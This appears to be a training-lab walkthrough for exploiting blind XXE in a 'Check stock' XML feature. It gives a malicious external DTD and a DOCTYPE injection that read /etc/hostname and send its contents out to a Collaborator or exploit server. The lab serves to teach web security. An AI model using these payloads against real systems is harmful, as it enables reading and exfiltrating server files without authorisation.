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# lab-4

## Exploiting Blind XXE to Exfiltrate Data Using a Malicious External DTD

**Difficulty:** Practitioner

### Lab Description

This lab has a "Check stock" feature that parses XML input but does not display the result.

**Objective:** Exfiltrate the contents of the `/etc/hostname` file.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=2
```

Click **Check stock**, then intercept the request in Burp Suite to see the XML structure.

**Step 2 — Host a malicious external DTD**

Go to the lab's **exploit server**, and in the body, paste the following DTD:

```dtd
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; extract SYSTEM 'http://your-collaborator-id.oastify.com/?x=%file;'>">
%eval;
%extract;
```

Save and store the exploit so it's hosted at a URL like:

```
https://exploit-your-id.exploit-server.net/exploit
```

**Step 3 — Reference the external DTD from the vulnerable request**

In the captured "Check stock" request, insert a `DOCTYPE` that pulls in the hosted DTD:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-your-id.exploit-server.net/exploit"> %xxe; ]>
<stockCheck>
    <productId>2</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 4 — Confirm exfiltration**

Send the request. The server fetches the external DTD, which in turn reads `/etc/hostname` and exfiltrates its contents as a query parameter to your Collaborator/exploit server. Check the request log to retrieve the leaked hostname value.

### Conclusion

This demonstrates blind XXE data exfiltration: since the response doesn't reflect entity values directly, a malicious external DTD chains parameter entities together to read a local file and smuggle its contents out via an out-of-band HTTP request.


---

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